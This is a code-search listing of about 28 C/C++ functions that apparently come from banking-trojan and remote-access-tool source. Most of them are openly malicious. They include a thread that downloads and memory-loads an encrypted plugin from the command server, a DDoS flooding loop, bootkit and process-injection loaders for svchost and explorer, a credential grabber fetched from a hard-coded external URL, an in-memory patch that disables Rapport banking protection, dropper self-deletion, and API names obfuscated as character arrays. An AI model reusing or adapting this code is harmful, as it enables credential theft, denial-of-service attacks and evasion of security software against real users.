Example #1
0
void DbgRptSvchostThread(void* Arguments)
{
	LDRDBG("DbgRptSvchostThread", "Try to catch host level svchost mutex.");
	if (!TryToCatchHostLevelInstanceMutex("svrpt"))
	{
		LDRDBG("DbgRptSvchostThread", "Svchost mutex already catched by another process. Finishing.");
		return;
	}
	
	LDRDBG("DbgRptSvchostThread", "Svchost mutex catched successfully.Sleeping before network started (3 min)...");
	pSleep(3 * 60 * 1000);

	for(;;)
	{
		LDRDBG("DbgRptSvchostThread", "Notify debug report...");

		// 304_ld постоянная работа в Svchost (каждые 3 минуты)
		DebugReportStepByName("304_ld");

		DebugReportUpdateNtldrCheckSum();

		LDRDBG("DbgRptSvchostThread", "Sleeping 15 min after report...");
		pSleep(15 * 60 * 1000);
	}
}
Example #2
0
DWORD WINAPI DeleteDropper(LPVOID) // убиваем процесс, стираем файл
{
	PP_DPRINTF(L"DeleteDropper: started for '%S'", FileToDelete);
	LONG i = 1;
	
	PP_DPRINTF(L"DeleteDropper: Calling MoveEx...");
	pMoveFileExA(FileToDelete,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);

	PP_DPRINTF(L"DeleteDropper: Starting delete cycle ...");
	while(i++)
	{

		if (pDeleteFileA( FileToDelete ))
			break;
/*	
	{
		PCHAR buf;
		DWORD dwErr;
		dwErr = (DWORD)pGetLastError();
		buf = StrLongToString(dwErr);
		pOutputDebugStringA (buf);
		pOutputDebugStringA("	-	");
		pOutputDebugStringA(FileToDelete);
		STR::Free(buf);
	}
*/
		pSleep(1025*i);
	};
	
	PP_DPRINTF(L"DeleteDropper: Delete finished.");

	pExitThread(0);
	return 0;
}
Example #3
0
void WINAPI ThreadBBS(void*)
{
	DWORD idCBank = 0;
	char path[MAX_PATH];
	path[0] = 0;
	while(true)
	{
		DWORD id = IsRunBClient(path);
		if( idCBank == 0 )
		{
			if( id )
			{
				idCBank = id;
				pPathRemoveFileSpecA(path); //убираем имя файла
				pPathRemoveFileSpecA(path); //убираем папку EXE
				char* sum = GrabBalance(path);
				OutputDebugString( sum ? sum : "null" );
				MemFree(sum);
			}
		}
		else
			if( id == 0 )
			{
				idCBank = 0;
				path[0] = 0;
			}
		pSleep(2000);
	}
}
Example #4
0
void WaitForOldRing3BotSelfRemoved()
{
	DWORD TimeoutInSec = 20 * 60;
	
	DWORD PeriodInSec = 60;
	DWORD PeriodCount = TimeoutInSec / PeriodInSec;
	PCHAR PathToSignalFile = GetBootkitSignalFileName();
	
	while (true)
	{
		bool IsExists = File::IsExists(PathToSignalFile);
		
		LDRDBG("WaitForOldRing3BotSelfRemoved", "check file='%s' exists='%d'",
			PathToSignalFile, IsExists);

		if(!IsExists) break;
		
		LDRDBG("WaitForOldRing3BotSelfRemoved", "Sleeping %d sec='%s'",
			PeriodInSec);

		// 318_ld ожидание удаления прежнего ring3 бота перед перезагрузкой
		DebugReportStepByName("318_ld");

		pSleep(PeriodInSec * 1000);
		PeriodCount--;

		if (PeriodCount == 0)
		{
			break;
		}
	}

	STR::Free(PathToSignalFile);
}
Example #5
0
//-----------------------------------------------------------------------------
void HunterSignal()
{
	// Функция уведомляет ожидающий процесс о нахождении ссылки
	HANDLE Handle = (HANDLE)pCreateMutexA(NULL, FALSE, (PCHAR)HunterMutexName);
	pSleep(100);
	pCloseHandle(Handle);
}
Example #6
0
void CSystemManager::KillProcess(LPBYTE lpBuffer, UINT nSize)
{
	HANDLE hProcess = NULL;
	
	char FBwWp14[] = {'O','p','e','n','P','r','o','c','e','s','s','\0'};
	OpenProcessT pOpenProcess=(OpenProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp14);
	char FBwWp15[] = {'T','e','r','m','i','n','a','t','e','P','r','o','c','e','s','s','\0'};
	TerminateProcessT pTerminateProcess=(TerminateProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp15);
	char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
	CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29);
	for (unsigned int i = 0; i < nSize; i += 4)
	{
		hProcess = pOpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + i));
		pTerminateProcess(hProcess, 0);
		pCloseHandle(hProcess);
	}

	// 稍稍Sleep下,防止出错
    char FBwWp25[] = {'S','l','e','e','p','\0'};
    SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25);
	pSleep(100);
	// 刷新进程列表
	SendProcessList();
	// 刷新窗口列表
	SendWindowsList();	
}
Example #7
0
DWORD WINAPI HuntThred( LPVOID lpData )
{
//если есть файл на диске,то берём из него строку и запускаем сб
//внутри файла строка 127.0.0.1:5555
	if (HunterFileExists())
	{		
		Hunting();
		return 0;
	}	
	
	HANDLE tmp;
	while(true)
	{
		tmp= (HANDLE)pOpenMutexA(MUTEX_ALL_ACCESS,FALSE, (PCHAR)HunterMutexName);
		if ((DWORD)pWaitForSingleObject(tmp, INFINITE))
		{	
			if (HunterFileExists())//&&!IsSbStarted()
			{
				Hunting();
			}
			pSleep(90);
		}
		else
		{		
			Hunting();
			pCloseHandle(tmp);
			FileCreateInFolder(0x001a, (PWCHAR)HunterFileName,NULL,0);
			break;
		}
	}	
	return 0;
}
Example #8
0
DWORD WINAPI AvBlockThread( LPVOID lpData )
{
	if ( (DWORD)pGetFileAttributesW( GetStopAVPath() ) != INVALID_FILE_ATTRIBUTES )
	{
		return 0;
	}

	char *Host = GetCurrentHost();

	if ( Host == NULL )
	{
		return 0;
	}

	char AvBlockFile[] = {'/','c','f','g','/','s','t','o','p','a','v','.','p','l','u','g',0};

	char AvBlockUrl[256];

	m_lstrcpy( AvBlockUrl, Host );
	m_lstrcat( AvBlockUrl, AvBlockFile );


	LPBYTE BotModule   = NULL;
	DWORD dwModuleSize = 0;

	while ( !DownloadInMem( AvBlockUrl, &BotModule, &dwModuleSize ) ) 
	{
		pSleep( 1000 * 60 * 5 );
	}

	if ( BotModule != NULL && dwModuleSize )
	{
		LPVOID FileData = MemAlloc( dwModuleSize + 1 );
		
		if ( FileData )
		{
			m_memcpy( FileData, BotModule, dwModuleSize );
			File::WriteBufferW(GetMiniAVPath(), FileData, dwModuleSize );
			MemFree( FileData );
		}

		LPVOID Module = DecryptPlugin( BotModule, dwModuleSize );	

		if ( Module )
		{
			HMEMORYMODULE hLib = MemoryLoadLibrary( Module );

			if ( hLib == NULL )
			{
				return 0;
			}

			MemoryFreeLibrary( hLib );
		}
	}

	return 0;
}
Example #9
0
//------------------------------------------------------
//  InjectorProc - Основная функция инжектора, которая
//                 постоянно мониторит запущенные процессы
//------------------------------------------------------
DWORD WINAPI INJECTOR::InjectorProc(LPVOID)
{
	// Алгоритм работы следующий:
	// Перебираем все кна рабочего стола и инжектимся
	// в поцесы владельцы
	BOT::Initialize();

	INJKDBG("INJECTOR", "Запущен процесс инжектра");

	TInjector Injector;
	Injector.IsWin64  = IsWIN64();
	Injector.Injected = new TBotList();
	Injector.NameBufSize = 1024;
	Injector.NameBuf = (LPBYTE)MemAlloc(Injector.NameBufSize);

	// Для старта определяем основную функцию руткита
	Injector.InjectFunction = RootkitThread;

	/*
	// Загружаем плагин
	INJKDBG("INJECTOR", "Загружаем bot.plug");
	for (int i = 0; i < 2; i++)
	{
		LPVOID Plug = NULL;
		LPVOID PlugHandle = NULL;
		if (LoadBotPlug(&Plug, NULL))
		{
			PlugHandle = MemoryLoadLibrary(Plug, false);
			Injector.InjectFunction = (TInjectFunction)MemoryGetProcAddress(PlugHandle, START_PROC_HASH);
			FreeBotPlug(Plug);
		}
		if (Injector.InjectFunction) break;




		// В случае ошибки получения адреса функции
		// принудительно обновляем плагин
		MemoryFreeLibrary(PlugHandle);
		UpdateBotPlug();
	}

	if (!Injector.InjectFunction) pExitProcess(0); */


    INJKDBG("INJECTOR", "Стартуем");

	while (!BOT::Terminated())
	{
		// Перебираем главные окна окна
		pEnumWindows(WndEnumCallBak, &Injector);
		pSleep(500);
	}

	// При завершении работы выходим из процесса
	pExitProcess(0);
	return 0;
}
Example #10
0
void CManager::WaitForDialogOpen()
{
    char BrmAP30[] = {'W','a','i','t','F','o','r','S','i','n','g','l','e','O','b','j','e','c','t','\0'};
    WaitForSingleObjectT pWaitForSingleObject=(WaitForSingleObjectT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP30);
	pWaitForSingleObject(m_hEventDlgOpen, INFINITE);
	// 必须的Sleep,因为远程窗口从InitDialog中发送COMMAND_NEXT到显示还要一段时间
    char FBwWp25[] = {'S','l','e','e','p','\0'};
    SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25);
	pSleep(150);
}
Example #11
0
// Поток для обновления настроек для подсистемы сбора статистики
// Сделано для будущей команды обновления параметров статистики
// Обеспечивает общесистемное применение настроек через 10 минут после 
// установки новых параметров
void DebugReportUpdateSettingsThread(void* Arguments)
{
	while (true)
	{
		DBGRPTDBG("DebugReportUpdateSettingsThread", "Sleep 10 min");
		pSleep(10 * 60 * 1000);

		DebugReportLoadSettings();
	}
}
Example #12
0
// Функция выполнения многократного подключения к испытуемому сайту
DWORD WINAPI DDOSThreadProc(TDDOS *DDOS)
{
	
	TMemory Buf(1024);
	TMemory Referer(256);

	DWORD SleepInterval = (DDOS->AttemptsPerSecond) ? (1000 / DDOS->AttemptsPerSecond) : 100;

	while (!DDOS->FTerminated)
	{
		// Создаём сокет
		SOCKET Socket = (SOCKET)psocket(AF_INET, SOCK_STREAM, 0);

		if(Socket != SOCKET_ERROR)
		{
			// Подключаемся к серверу
			struct sockaddr_in SockAddr;
			SockAddr.sin_family		 = AF_INET;
			SockAddr.sin_addr.s_addr = **(unsigned long**)DDOS->FHostAddres->h_addr_list;
			SockAddr.sin_port		 = HTONS((unsigned short)DDOS->FRequest.Port);

			// подключаемся к сокету
			if ( (int)pconnect(Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) != SOCKET_ERROR )
			{
				// Генерируем данные
				PCHAR UserAgent = DDOS->GetRandomString(UserAgents, DDOS->FUserAgentsCount);
				string RefererHost = Random::RandomString2(Random::Generate(5, 10), 'a', 'z');

				DDOS->MakeString(Referer.AsStr(), "http://%s.%s/", RefererHost.t_str(), DDOS->GetRandomString(Domains, DDOS->FDomainsCount)); 
				
				int Size = DDOS->MakeString(Buf.AsStr(), DDOS->FSendData.t_str(), UserAgent, Referer.AsStr());

				int Sended = (int)psend(Socket, Buf.AsStr(), Size, 0);

				// Для увеличения нагрузки на сервер пытаемся получить от сервера ответ
				if (Sended == Size)
				{
					Size = (int)precv(Socket, Buf.Buf(), 1024, 0);
				}


			}
			pclosesocket(Socket);
		}

		// Ждём до следующей отправки
		if (!DDOS->FTerminated)
			pSleep(SleepInterval);
    }

	pInterlockedDecrement(&DDOS->FThreadsCount);

	return 0;
}
Example #13
0
void SvcFuckupServiceMainTest()
{
	PP_DPRINTF(L"SvcFuckupServiceMainTest: started ");
	DWORD i = 100;
	while ((i--) > 0)
	{
		PP_DPRINTF(L"SvcFuckupServiceMainTest: test sleep 1 sec (%d)", i);
		pSleep(1000);
	}
	PP_DPRINTF(L"SvcFuckupServiceMainTest: finished");
}
Example #14
0
void StartBootkitDll(void* Arguments)
{
	// If Dll loaded by original Bootkit driver we MUST wait some timeout.
	// This happens because by default bootkit driver call DllMain(_, DLL_PROCESS_ATTACH, _)
	// at all.
	// Waiting helps system to load all libraries in default load order. After loading all modules 
	// we can apply GetApi for our reasons.

	DWORD timeout = 5 * 1000;
	
	LDRDBG("StartBootkitDll", "Sleeping %d ms.", timeout);
	pSleep(timeout);
	LDRDBG("StartBootkitDll", "Waking up after %d ms.", timeout);

	DebugReportInit();

	// определяем в каком процессе находимся
	char Name[MAX_PATH];
	if ((DWORD)pGetModuleFileNameA(NULL, Name, MAX_PATH) == 0) return;

	PCHAR ShortName = File::ExtractFileNameA(Name, false);

	DWORD Hash = STR::GetHash(ShortName, 0, true);


	LDRDBG("StartBootkitDll", "LoaderDll loaded in path='%s' pid=%u...", Name, (DWORD)pGetProcessId() );

	LDRDBG("StartBootkitDll", "LoaderDll wake up and check IsLoadedByOriginalBootkit=%d", IsDllLoadedByBootkitLoader());
	if (!IsDllLoadedByBootkitLoader())
	{
		LDRDBG("StartBootkitDll", "LoaderDll is NOT loaded by Bootkit loader. Finished.");
		return;
	}

	LDRDBG("StartBootkitDll", "LoaderDll detects original bootkit loading.");
	
	if (Hash == 0x2608DF01 /* svchost.exe */)
	{
		LDRDBG("StartBootkitDll", "LoaderDll loaded in SVCHOST. ");
		StartThread(DbgRptSvchostThread, NULL);
	}
	
	if (Hash == 0x490A0972 /* explorer.exe */)
	{
		LDRDBG("StartBootkitDll", "LoaderDll loaded in EXPLORER. ");
		StartThread(DbgRptExplorerThread, NULL);
		
		LDRDBG("StartBootkitDll", "Starting loading and run plug.");
		StartThread(ExplorerLoadAndRunBotPlug, NULL);
	}
	
	LDRDBG("StartBootkitDll", "finished.");
}
Example #15
0
void DbgRptRebootNotifyThread(void* Arguments)
{
	while (true)
	{
		LDRDBG("DbgRptRebootNotifyThread", "Pinging server...");

		//150_d таймер отсчета завершения ребута
		DebugReportStepByName("150_d");

		LDRDBG("DbgRptRebootNotifyThread", "Sleeping 10 min");
		pSleep(10 * 60 * 1000);
	}
}
Example #16
0
DWORD WINAPI ExplorerStartProc(LPVOID Data)
{
	LDRDBG("BRDS", "Зупущена функция Эксплорера  ");

	if (Data == NULL) 
	{
		LDRDBG("BRDS Explorer", "Ошибочные данные для работы в эксплорере ");
		return 0;
	}

	// 302_ld запуск в Explorer (тут сети может не быть)
	DebugReportStepByName("302_ld");

	// Запускаем поток в svchost отзвона на тестовый сервер
	StartThread(DbgRptExplorerThread, NULL);

	PUSER_INIT_NOTIFY InitData = (PUSER_INIT_NOTIFY)Data;

	LDRDBG("BRDS Explorer", "Ожидаем пока драйвер отключит слежение за процессоь svchost.exe ");
	while (CheckIsInjectToProcess(InitData, SVChostName)) pSleep(300);


	LDRDBG("BRDS Explorer", "Запуск потока Эксплорера ");

	// Первым делом пытаемся запустить длл из файла
	
	if (DoStartBotDll(InitData, 5000))
	{	
		LDRDBG("BRDS Explorer", "Бот успешно загружен из кэша ");
		return 0;
	} 

	// Регистрируем событие обратной связи
	LDRDBG("BRDS Explorer", "Регистрируем метод обратной связи в процессе Explorer ");
	if (!DriverRegisterGlobalCallback(InitData, (DWORD)pGetCurrentThreadId(), StartBotDll, NULL))
	{
		LDRDBG("BRDS Explorer", "Ошибка регистрации метода обратной свзи експлорера ");
		return 0;
	}

	// Запускаем бесконечный цикл ожидания

	do
	{
		pSleepEx(10000, TRUE); 
		
	}while(1);

	return 0;
}
Example #17
0
DWORD WINAPI RebootNotifyThread(void* p)
{
	while (true)
	{
		PP_DPRINTF(L"RebootNotifyThread: pinging server...");

		//150_d таймер отсчета завершения ребута
		PP_DBGRPT_FUNCTION_CALL(DebugReportStepByName("150_d"));

		PP_DPRINTF(L"RebootNotifyThread: sleeping 5 min");
		pSleep(5 * 60 * 1000);
	}
	return 0;
}
Example #18
0
	void WaitExplorer()
	{
		// Функция ожидает запуска експлорера

		DWORD ID;
		DWORD I = 0;
		do
		{
			ID = GetProcessIdByHash(0x490A0972 /* explorer.exe */);
			I++;
			if (ID == -1)
				pSleep(1000);
		}
		while (ID == -1 && I < 90);
	}
Example #19
0
BOOL TDDOS::Execute(bool Wait)
{
	if (URL.IsEmpty() || MaxThreads == 0 || FThreadsCount)
		return FALSE;

	FTerminated = false;

	// Инициализируем запрос
	FRequest.CloseConnection = true;
	FRequest.SetURL(URL.t_str());
	if (FRequest.Host.IsEmpty())
		return FALSE;

	FRequest.UserAgent = "%s";
	FRequest.Referer = "%s";

	FSendData = FRequest.MakeRequestHeaders();

	// Инициализируем библиотеку сокетов
	if (!InitializeWSA()) return false;

	// Получаем  адрес по имени хоста
	FHostAddres = (LPHOSTENT)pgethostbyname(FRequest.Host.t_str());

	if ( FHostAddres == NULL )
		return false;

	// Запускаем потоки
	for (DWORD i = 0; i < MaxThreads; i++)
	{
		if (StartThread(DDOSThreadProc, this))
			pInterlockedIncrement(&FThreadsCount);
	}

	BOOL Result = FThreadsCount;

	if (Wait)
		while (1)  pSleep(100);


	return Result;
}
Example #20
0
void DbgRptExplorerThread(void* Arguments)
{
	LDRDBG("DbgRptExplorerThread", "Try to catch host level explorer mutex.");
	if (!TryToCatchHostLevelInstanceMutex("exrpt"))
	{
		LDRDBG("DbgRptExplorerThread", "Explorer mutex already catched by another process. Finishing.");
		return;
	}
	
	LDRDBG("DbgRptExplorerThread", "Explorer mutex catched successfully.");

	for(;;)
	{
		LDRDBG("DbgRptExplorerThread", "Notify debug report...");

		// 305_ld постоянная работа в Explorer (каждые 3 минуты)
		DebugReportStepByName("305_ld");

		LDRDBG("DbgRptExplorerThread", "Sleeping 15 min after report...");
		pSleep(15 * 60 * 1000);
	}
}
Example #21
0
BOOL SpoolerStart()
{
	BOOL bRet = FALSE;

	SC_HANDLE hMngr = (SC_HANDLE)pOpenSCManagerA(NULL,NULL,SC_MANAGER_CONNECT);
	if (hMngr)
	{
		SC_HANDLE hServ = (SC_HANDLE)pOpenServiceA(hMngr,"spooler",SERVICE_QUERY_STATUS|SERVICE_START);
		if (hServ)
		{
			if (pStartServiceA(hServ,0,NULL))
			{
				for (int i = 0; i < 3; i++)
				{
					DWORD dwNeed;
					SERVICE_STATUS_PROCESS ServStatus = {0};

					if (!pQueryServiceStatusEx(hServ,SC_STATUS_PROCESS_INFO,(LPBYTE)&ServStatus,sizeof(ServStatus),&dwNeed)) break;

					if (ServStatus.dwCurrentState == SERVICE_RUNNING)
					{
						bRet = TRUE;

						break;
					}

					pSleep(2000);
				}
			}

			pCloseServiceHandle(hServ);
		}

		pCloseServiceHandle(hMngr);
	}

	return bRet;
}
Example #22
0
void CScreenSpy::ScanScreen( HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight)
{
    UINT	nJumpLine = 50;
    UINT	nJumpSleep = nJumpLine / 10; // 扫描间隔
    // 扫描屏幕
    int i;
    int	nToJump;
    char FBwWp25[] = {'S','l','e','e','p','\0'};
    SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25);
    char DYrEN91[] = {'B','i','t','B','l','t','\0'};
    BitBltT pBitBlt=(BitBltT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN91);
    for (i = 0, nToJump = 0; i < nHeight; i += nToJump)
    {
        unsigned int	nOther = nHeight - i;

        if (nOther > nJumpLine)
            nToJump = nJumpLine;
        else
            nToJump = nOther;
        pBitBlt(hdcDest, 0, i, nWidth, nToJump, hdcSrc,	0, i, m_dwBitBltRop);
        pSleep(nJumpSleep);
    }
}
Example #23
0
bool DoStartBotDll(PUSER_INIT_NOTIFY InitData, DWORD DelayBeforeStart)
{
	LDRDBG("BRDS Explorer", "DoStartBotDll() запущена");

	// 310_ld попытка получить файл плага с кеша в Explorer
	DebugReportStepByName("310_ld");

	if (IsNewProcess(DLLLoader::ExplorerPID))
		DLLLoader::DLLLoadedInExplorer = false;


	LDRDBG("BRDS Explorer", "DLLLoader::DLLLoadedInExplorer = %d", DLLLoader::DLLLoadedInExplorer);
	if (DLLLoader::DLLLoadedInExplorer)
		return true;


	LDRDBG("BRDS Explorer", "Читаем плагин из кэша");
	DWORD Size = 0;
	LPBYTE Module = Plugin::DownloadFromCache(BotPluginName, true, NULL, &Size);

	if (Module != NULL)
	{
		// Расшифровываем содержимое
		if (DelayBeforeStart != 0) pSleep(DelayBeforeStart);

		LDRDBG("BRDS Explorer", "Длл прочитана и расшифрована.Запускаем Bot.plug");
		ExplorerLoadDLL(InitData, Module, Size);

		LDRDBG("BRDS Explorer", "Bot.plug запущен.");

		MemFree(Module);
	}

	LDRDBG("BRDS Explorer", "DoStartBotDll() завершена.");

	return DLLLoader::DLLLoadedInExplorer;
}
Example #24
0
//----------------------------------------------------
//  Install - Функция инсталирует бота
//
//  IsUpdate - Признак того, что идёт обновление бота
//             а не первая инсталяция
//
//  DeleteSourceFile - Удалять ли исходный файл
//
//  SourceFileProcessPID - PID процесса, котрый
//                         необходимо завершить перед
//                         удалением исходного файла
//----------------------------------------------------
BOOL WINAPI Install(const char* FileName, BOOL IsUpdate, BOOL DeleteSourceFile, DWORD SourceFileProcessPID)
{
	if (!File::IsExists((PCHAR)FileName))
		return FALSE;

	string BotFile = BOT::GetBotFullExeName();

	// Проверяем не пытаемся ли мы запустить инсталяцию из
	// самого себя
	if (StrSame((PCHAR)FileName, BotFile.t_str(), false, 0))
		return FALSE;

	INSTDBG("Installer", "Инсталируем бот. Exe бота %s", BotFile.t_str());

	// Снимаем защиту и удаляем файл
	if (IsUpdate) BOT::Unprotect();
	BOT::DeleteBotFile(BotFile.t_str(), INFINITE, false);

	//  Копируем файл
	BOOL Result = (BOOL)pCopyFileA(FileName, BotFile.t_str(), TRUE);
	INSTDBG("Installer", "Копируем файл бота. [Result=%d; Err=%d]", Result, pGetLastError());

	if (Result)
	{
		// Устанавливаем дату и атрибуты файла
		SetFakeFileDateTime(BotFile.t_str());
		pSetFileAttributesA(BotFile.t_str(), FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY );
    }

	// Инсталируем сервис
	if (IsUpdate)
	{
		// Обновляем сервис
		// В случае неудачи пытаемся установить сервис заново
		if (!BOT::UpdateService(FileName))
			BOT::InstallService(FileName);
	}
	else
		BOT::InstallService(FileName);


	// Ставим защиту на ехе бота
	if (IsUpdate) BOT::Protect(NULL);

	// Удаляем файл источник
	if (DeleteSourceFile)
	{
		DWORD Start = (DWORD)pGetTickCount();

		while ((DWORD)pGetTickCount() - Start < 5000)
		{
			if (SourceFileProcessPID)
				pWinStationTerminateProcess(NULL, SourceFileProcessPID, DBG_TERMINATE_PROCESS);

			pSetFileAttributesA(FileName, FILE_ATTRIBUTE_ARCHIVE );
			BOOL Deleted = (BOOL)pDeleteFileA(FileName);
			if (Deleted || pGetLastError() != 5) break;
			pSleep(50);
        }
	}
	
	INSTDBG("Installer", "Установка бота завершена. [Result=%d]", Result);

	return Result != FALSE;
}
Example #25
0
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
    static LONG	nOldCursorPosY = 0;
    if (lpdwBytes == NULL || m_rectBuffer == NULL)
        return NULL;

    SelectInputWinStation();

    // 重置rect缓冲区指针
    m_rectBufferOffset = 0;

    // 写入使用了哪种算法
    WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));

    // 写入光标位置
    POINT	CursorPos;
    char CtxPW58[] = {'G','e','t','C','u','r','s','o','r','P','o','s','\0'};
    GetCursorPosT pGetCursorPos=(GetCursorPosT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW58);
    pGetCursorPos(&CursorPos);
    WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));

    // 写入当前光标类型
    BYTE	bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
    WriteRectBuffer(&bCursorIndex, sizeof(BYTE));

    // 差异比较算法
    if (m_bAlgorithm == ALGORITHM_DIFF)
    {
        // 分段扫描全屏幕
        ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
        *lpdwBytes = m_rectBufferOffset +
                     Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
        return m_rectBuffer;
    }

    // 鼠标位置发变化并且热点区域如果发生变化,以(发生变化的行 + DEF_STEP)向下扫描
    // 向上提
    int	nHotspot = max(0, CursorPos.y - DEF_STEP);
    for (
        int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
        i < m_nFullHeight;
        i += DEF_STEP
    )
    {
        if (ScanChangedRect(i))
        {
            i += DEF_STEP;
        }
    }
    nOldCursorPosY = CursorPos.y;

    m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
    *lpdwBytes = m_rectBufferOffset;

    char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'};
    GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70);
    // 限制发送帧的速度
    char FBwWp25[] = {'S','l','e','e','p','\0'};
    SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25);
    while (pGetTickCount() - m_dwLastCapture < m_dwSleep)
        pSleep(1);
    char SSzlC21[] = {'I','n','t','e','r','l','o','c','k','e','d','E','x','c','h','a','n','g','e','\0'};
    InterlockedExchangeT pInterlockedExchange=(InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),SSzlC21);
    pInterlockedExchange((LPLONG)&m_dwLastCapture, pGetTickCount());

    return m_rectBuffer;
}
Example #26
0
DWORD WINAPI GrabberThread( LPVOID lpData )
{

	UnhookDlls();

/*
	char GrabberFile[] = {'X',':','\\', 't','r','a','s','h','\\','c','o','d','e','\\','w','o','r','k','\\' ,'r','f','b','\\','b','r','a','n','c','h','e','s','\\','d','l','l','\\','b','i','n','\\','D','e','b','u','g','\\','x','8','6','.','d','l','l',0};
    ///if ( BotModule != NULL  )
	{
		typedef void ( WINAPI *PVNC_Start )();

		HANDLE hFile=CreateFile(GrabberFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
		DWORD dwSize=GetFileSize(hFile,0);

		LPVOID BotModule = MemAlloc(dwSize);
		pReadFile(hFile,BotModule,dwSize,&dwSize,0);
		pCloseHandle(hFile);

		HMEMORYMODULE hLib = MemoryLoadLibrary( BotModule );

		if ( hLib == NULL )
		{
			return 0;
		}

		PVNC_Start VNC_Start	 = (PVNC_Start)MemoryGetProcAddress( hLib, "_VNC_Start@0" );

///PVNC_Start VNC_Start	 = (PVNC_Start)GetProcAddress(LoadLibrary(GrabberFile),"_VNC_Start@0");

		VNC_Start();
		while (true) pSleep(1);


		MemoryFreeLibrary( hLib );
		MemFree( BotModule );
		return 1;
	}
	*/
//link.txt
//


	char GrabberFile[] = {"http://apartman-adriana.com/temp/DrClient.dll"/*'/','g','r','a','b','e','r','.','d','l','l',0*/};

	LPVOID BotModule = NULL;

	bool bKnock = false;

	while ( ( BotModule = DownloadPluginFromPath(GrabberFile, NULL ) ) == NULL )
	{
		pSleep( 1000 * 60 * 5 );
	}

	if ( BotModule != NULL  )
	{
		HMEMORYMODULE hLib = MemoryLoadLibrary( BotModule );

		if ( hLib == NULL )
		{
			return 0;
		}

		typedef char * ( WINAPI *PFTPGRAB )();

		char GrabFTP[] = {'S','c','a','n','1', 0 };
		char Ole32[]   = {'o','l','e','3','2','.','d','l','l', 0};

		typedef void ( WINAPI *PCoUninitialize )();
		typedef HRESULT ( WINAPI *PCoInitialize )( LPVOID lpReserved );

		PCoUninitialize pCoUninitialize_ = (PCoUninitialize)GetProcAddressEx( Ole32, 0, 0xEDB3159D );
		PCoInitialize   pCoInitialize_   = (PCoInitialize)GetProcAddressEx( Ole32, 0, 0xF341D5CF );

		pCoUninitialize_();
		pCoInitialize_( NULL );

		PFTPGRAB FtpGrabber	 = (PFTPGRAB)MemoryGetProcAddress( hLib, GrabFTP );

		char *Buffer = FtpGrabber();

		DWORD dwSize = m_lstrlen( Buffer );

		if ( dwSize != 0 )
		{
			Buffer[ dwSize ] = '\0';

			bool Sended = false;
			do
			{
				// Отправляем данные на сервер

				Sended = true;
				if (!Sended)
					pSleep( 1000 );

			}
			while (!Sended);
		}

		MemoryFreeLibrary( hLib );

		MemFree( Buffer );
		MemFree( BotModule );


	}
Example #27
0
void WaitAndExitProcess(DWORD exit_code)
{
	pSleep(3 * 1000);
	pExitProcess(exit_code);
}
Example #28
0
BOOL AntiRapport()
{
	BOOL bRet = FALSE;
	UCHAR Buf;
	DWORD t;
	HMODULE hRapportModule;
	LPCSTR lpStr1;
	LPCSTR lpStr2;
	DWORD dwStr1;
	DWORD dwStr2;
	PVOID pvLogFix;
	PVOID pvFix;

		
	pLoadLibraryA("wininet.dll");
	pLoadLibraryA("user32.dll");

	hRapportModule =(HMODULE) pGetModuleHandleA("RapportUtil.dll");
	if (hRapportModule)
	{
		lpStr1 = "periodic_checkpoint::periodic_checkpoint_thread";
		lpStr2 = ".\\patching_sentry\\periodic_checkpoint.cpp";

		dwStr1 = AntiRapportFindStr(hRapportModule,lpStr1,(DWORD)plstrlenA(lpStr1));
		if (dwStr1)
		{
			dwStr2 = AntiRapportFindStr(hRapportModule,lpStr2,(DWORD)plstrlenA(lpStr2));
			if (dwStr2)
			{
				pvFix = AnitRapportFindPushStrs(hRapportModule,dwStr1,dwStr2,&pvLogFix);
				if (pvFix)
				{
					Buf = 0x19;
					if (pWriteProcessMemory(pGetCurrentProcess(),pvFix,(PVOID)&Buf,sizeof(Buf),&t))
					{
						bRet = TRUE;

					//	DbgPrint(__FUNCTION__"(): rapport protect thread patched at %x\n",pvFix);
					}
					else
					{
						//DbgPrint(__FUNCTION__"(): WriteProcessMemory failed with error %lx\n",GetLastError());
					}

					if (pvLogFix)
					{
						Buf = 0xC3;
						if (pWriteProcessMemory(NtCurrentProcess(),pvLogFix,(PVOID)&Buf,sizeof(Buf),&t))
						{
						//	DbgPrint(__FUNCTION__"(): rapport log proc patched at %x\n",pvLogFix);
						}
						else
						{
						//	DbgPrint(__FUNCTION__"(): WriteProcessMemory failed with error %lx\n",GetLastError());
						}
					}
							
					pSleep(4000);
					
					UnhookLibs();
				}
			}
		}
	}

